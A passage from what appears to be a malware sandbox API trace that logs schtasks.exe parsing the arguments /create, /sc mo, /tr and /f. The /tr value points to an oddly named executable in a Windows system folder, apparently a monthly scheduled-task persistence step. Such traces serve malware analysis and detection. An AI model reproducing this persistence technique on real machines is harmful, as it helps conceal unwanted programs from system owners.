returned 2 [0161.299] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.299] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|s|") returned 3 [0161.299] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.299] lstrlenW (lpString="|s|") returned 3 [0161.299] lstrlenW (lpString="|mo|") returned 4 [0161.299] SetLastError (dwErrCode=0x490) [0161.299] lstrlenW (lpString="u") returned 1 [0161.299] lstrlenW (lpString="u") returned 1 [0161.299] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.299] lstrlenW (lpString="mo") returned 2 [0161.299] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.299] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|u|") returned 3 [0161.299] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.299] lstrlenW (lpString="|u|") returned 3 [0161.299] lstrlenW (lpString="|mo|") returned 4 [0161.299] SetLastError (dwErrCode=0x490) [0161.299] lstrlenW (lpString="p") returned 1 [0161.299] lstrlenW (lpString="p") returned 1 [0161.299] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.300] lstrlenW (lpString="mo") returned 2 [0161.300] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.300] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|p|") returned 3 [0161.300] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.300] lstrlenW (lpString="|p|") returned 3 [0161.300] lstrlenW (lpString="|mo|") returned 4 [0161.300] SetLastError (dwErrCode=0x490) [0161.300] lstrlenW (lpString="ru") returned 2 [0161.300] lstrlenW (lpString="ru") returned 2 [0161.300] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.300] lstrlenW (lpString="mo") returned 2 [0161.300] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.300] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ru|") returned 4 [0161.300] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.300] lstrlenW (lpString="|ru|") returned 4 [0161.300] lstrlenW (lpString="|mo|") returned 4 [0161.300] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0161.300] SetLastError (dwErrCode=0x490) [0161.300] lstrlenW (lpString="rp") returned 2 [0161.300] lstrlenW (lpString="rp") returned 2 [0161.300] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.300] lstrlenW (lpString="mo") returned 2 [0161.300] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.300] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|rp|") returned 4 [0161.300] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.300] lstrlenW (lpString="|rp|") returned 4 [0161.300] lstrlenW (lpString="|mo|") returned 4 [0161.300] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0161.301] SetLastError (dwErrCode=0x490) [0161.301] lstrlenW (lpString="sc") returned 2 [0161.301] lstrlenW (lpString="sc") returned 2 [0161.301] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.301] lstrlenW (lpString="mo") returned 2 [0161.301] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.301] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.301] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.301] lstrlenW (lpString="|sc|") returned 4 [0161.301] lstrlenW (lpString="|mo|") returned 4 [0161.301] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0161.301] SetLastError (dwErrCode=0x490) [0161.301] lstrlenW (lpString="mo") returned 2 [0161.301] lstrlenW (lpString="mo") returned 2 [0161.301] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.301] lstrlenW (lpString="mo") returned 2 [0161.301] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.301] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.301] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.301] lstrlenW (lpString="|mo|") returned 4 [0161.301] lstrlenW (lpString="|mo|") returned 4 [0161.301] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0161.301] SetLastError (dwErrCode=0x0) [0161.301] SetLastError (dwErrCode=0x0) [0161.301] lstrlenW (lpString="8") returned 1 [0161.301] SetLastError (dwErrCode=0x490) [0161.301] SetLastError (dwErrCode=0x0) [0161.301] lstrlenW (lpString="8") returned 1 [0161.301] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0161.302] SetLastError (dwErrCode=0x490) [0161.302] SetLastError (dwErrCode=0x0) [0161.302] _memicmp (_Buf1=0x40d550, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.302] lstrlenW (lpString="8") returned 1 [0161.302] lstrlenW (lpString="8") returned 1 [0161.302] lstrlenW (lpString=" \x09") returned 2 [0161.302] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0161.302] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0161.302] GetLastError () returned 0x0 [0161.302] lstrlenW (lpString="8") returned 1 [0161.302] lstrlenW (lpString="8") returned 1 [0161.302] GetProcessHeap () returned 0x3f0000 [0161.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x4) returned 0x40c210 [0161.302] SetLastError (dwErrCode=0x0) [0161.302] SetLastError (dwErrCode=0x0) [0161.302] lstrlenW (lpString="/tr") returned 3 [0161.302] lstrlenW (lpString="-/") returned 2 [0161.302] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.302] lstrlenW (lpString="create") returned 6 [0161.302] lstrlenW (lpString="create") returned 6 [0161.302] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.302] lstrlenW (lpString="tr") returned 2 [0161.302] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.302] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.302] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.302] lstrlenW (lpString="|create|") returned 8 [0161.302] lstrlenW (lpString="|tr|") returned 4 [0161.302] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0161.302] SetLastError (dwErrCode=0x490) [0161.302] lstrlenW (lpString="?") returned 1 [0161.303] lstrlenW (lpString="?") returned 1 [0161.303] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.303] lstrlenW (lpString="tr") returned 2 [0161.303] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.303] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|?|") returned 3 [0161.303] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.303] lstrlenW (lpString="|?|") returned 3 [0161.303] lstrlenW (lpString="|tr|") returned 4 [0161.303] SetLastError (dwErrCode=0x490) [0161.303] lstrlenW (lpString="s") returned 1 [0161.303] lstrlenW (lpString="s") returned 1 [0161.303] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.303] lstrlenW (lpString="tr") returned 2 [0161.303] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.303] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|s|") returned 3 [0161.303] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.303] lstrlenW (lpString="|s|") returned 3 [0161.303] lstrlenW (lpString="|tr|") returned 4 [0161.303] SetLastError (dwErrCode=0x490) [0161.303] lstrlenW (lpString="u") returned 1 [0161.303] lstrlenW (lpString="u") returned 1 [0161.303] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.303] lstrlenW (lpString="tr") returned 2 [0161.303] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.303] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|u|") returned 3 [0161.303] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.304] lstrlenW (lpString="|u|") returned 3 [0161.304] lstrlenW (lpString="|tr|") returned 4 [0161.304] SetLastError (dwErrCode=0x490) [0161.304] lstrlenW (lpString="p") returned 1 [0161.304] lstrlenW (lpString="p") returned 1 [0161.304] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.304] lstrlenW (lpString="tr") returned 2 [0161.304] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.304] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|p|") returned 3 [0161.304] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.304] lstrlenW (lpString="|p|") returned 3 [0161.304] lstrlenW (lpString="|tr|") returned 4 [0161.304] SetLastError (dwErrCode=0x490) [0161.304] lstrlenW (lpString="ru") returned 2 [0161.304] lstrlenW (lpString="ru") returned 2 [0161.304] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.304] lstrlenW (lpString="tr") returned 2 [0161.304] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.304] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ru|") returned 4 [0161.304] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.304] lstrlenW (lpString="|ru|") returned 4 [0161.304] lstrlenW (lpString="|tr|") returned 4 [0161.304] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0161.304] SetLastError (dwErrCode=0x490) [0161.304] lstrlenW (lpString="rp") returned 2 [0161.304] lstrlenW (lpString="rp") returned 2 [0161.304] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.305] lstrlenW (lpString="tr") returned 2 [0161.305] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.305] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|rp|") returned 4 [0161.305] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.305] lstrlenW (lpString="|rp|") returned 4 [0161.305] lstrlenW (lpString="|tr|") returned 4 [0161.305] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0161.305] SetLastError (dwErrCode=0x490) [0161.305] lstrlenW (lpString="sc") returned 2 [0161.305] lstrlenW (lpString="sc") returned 2 [0161.305] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.305] lstrlenW (lpString="tr") returned 2 [0161.305] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.305] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.305] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.305] lstrlenW (lpString="|sc|") returned 4 [0161.305] lstrlenW (lpString="|tr|") returned 4 [0161.305] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0161.305] SetLastError (dwErrCode=0x490) [0161.305] lstrlenW (lpString="mo") returned 2 [0161.305] lstrlenW (lpString="mo") returned 2 [0161.305] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.305] lstrlenW (lpString="tr") returned 2 [0161.305] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.305] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.305] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.305] lstrlenW (lpString="|mo|") returned 4 [0161.305] lstrlenW (lpString="|tr|") returned 4 [0161.305] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0161.305] SetLastError (dwErrCode=0x490) [0161.305] lstrlenW (lpString="d") returned 1 [0161.305] lstrlenW (lpString="d") returned 1 [0161.305] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] lstrlenW (lpString="tr") returned 2 [0161.306] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|d|") returned 3 [0161.306] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.306] lstrlenW (lpString="|d|") returned 3 [0161.306] lstrlenW (lpString="|tr|") returned 4 [0161.306] SetLastError (dwErrCode=0x490) [0161.306] lstrlenW (lpString="m") returned 1 [0161.306] lstrlenW (lpString="m") returned 1 [0161.306] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] lstrlenW (lpString="tr") returned 2 [0161.306] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|m|") returned 3 [0161.306] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.306] lstrlenW (lpString="|m|") returned 3 [0161.306] lstrlenW (lpString="|tr|") returned 4 [0161.306] SetLastError (dwErrCode=0x490) [0161.306] lstrlenW (lpString="i") returned 1 [0161.306] lstrlenW (lpString="i") returned 1 [0161.306] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] lstrlenW (lpString="tr") returned 2 [0161.306] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|i|") returned 3 [0161.306] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.306] lstrlenW (lpString="|i|") returned 3 [0161.306] lstrlenW (lpString="|tr|") returned 4 [0161.306] SetLastError (dwErrCode=0x490) [0161.306] lstrlenW (lpString="tn") returned 2 [0161.306] lstrlenW (lpString="tn") returned 2 [0161.306] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.306] lstrlenW (lpString="tr") returned 2 [0161.307] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.307] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.307] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.307] lstrlenW (lpString="|tn|") returned 4 [0161.307] lstrlenW (lpString="|tr|") returned 4 [0161.307] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0161.307] SetLastError (dwErrCode=0x490) [0161.307] lstrlenW (lpString="tr") returned 2 [0161.307] lstrlenW (lpString="tr") returned 2 [0161.307] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.307] lstrlenW (lpString="tr") returned 2 [0161.307] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.307] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.307] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tr|") returned 4 [0161.307] lstrlenW (lpString="|tr|") returned 4 [0161.307] lstrlenW (lpString="|tr|") returned 4 [0161.307] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0161.307] SetLastError (dwErrCode=0x0) [0161.307] SetLastError (dwErrCode=0x0) [0161.307] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.307] lstrlenW (lpString="-/") returned 2 [0161.307] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.307] SetLastError (dwErrCode=0x490) [0161.307] SetLastError (dwErrCode=0x490) [0161.307] SetLastError (dwErrCode=0x0) [0161.307] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.307] StrChrIW (lpStart="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'", wMatch=0x3a) returned=":\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'" [0161.307] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.307] _memicmp (_Buf1=0x40c340, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.308] _memicmp (_Buf1=0x40c380, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.308] SetLastError (dwErrCode=0x7a) [0161.308] SetLastError (dwErrCode=0x0) [0161.308] SetLastError (dwErrCode=0x0) [0161.308] lstrlenW (lpString="'C") returned 2 [0161.308] lstrlenW (lpString="-/") returned 2 [0161.308] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.308] SetLastError (dwErrCode=0x490) [0161.308] SetLastError (dwErrCode=0x490) [0161.308] SetLastError (dwErrCode=0x0) [0161.308] _memicmp (_Buf1=0x40d550, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.308] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.308] GetProcessHeap () returned 0x3f0000 [0161.308] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d570) returned 1 [0161.308] GetProcessHeap () returned 0x3f0000 [0161.308] RtlReAllocateHeap (Heap=0x3f0000, Flags=0xc, Ptr=0x40d570, Size=0x88) returned 0x40c2a0 [0161.308] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.308] lstrlenW (lpString=" \x09") returned 2 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0161.308] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0161.309] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0161.309] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.309] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0161.310] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0161.310] GetLastError () returned 0x0 [0161.310] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.310] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.310] SetLastError (dwErrCode=0x0) [0161.310] SetLastError (dwErrCode=0x0) [0161.310] lstrlenW (lpString="/f") returned 2 [0161.311] lstrlenW (lpString="-/") returned 2 [0161.311] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.311] lstrlenW (lpString="create") returned 6 [0161.311] lstrlenW (lpString="create") returned 6 [0161.311] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.311] lstrlenW (lpString="f") returned 1 [0161.311] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.311] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.311] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.311] lstrlenW (lpString="|create|") returned 8 [0161.311] lstrlenW (lpString="|f|") returned 3 [0161.311] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0161.311] SetLastError (dwErrCode=0x490) [0161.311] lstrlenW (lpString="?") returned 1 [0161.311] lstrlenW (lpString="?") returned 1 [0161.311] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.311] lstrlenW (lpString="f") returned 1 [0161.311] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.311] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|?|") returned 3 [0161.311] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.311] lstrlenW (lpString="|?|") returned 3 [0161.311] lstrlenW (lpString="|f|") returned 3 [0161.311] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0161.311] SetLastError (dwErrCode=0x490) [0161.311] lstrlenW (lpString="s") returned 1 [0161.311] lstrlenW (lpString="s") returned 1 [0161.311] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.312] lstrlenW (lpString="f") returned 1 [0161.312] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.312] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|s|") returned 3 [0161.351] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|f|") returned 3 [0161.351] lstrlenW (lpString="|s|") returned 3 [0161.351] lstrlenW (lpString="|f|") returned 3 [0161.351] StrStrIW 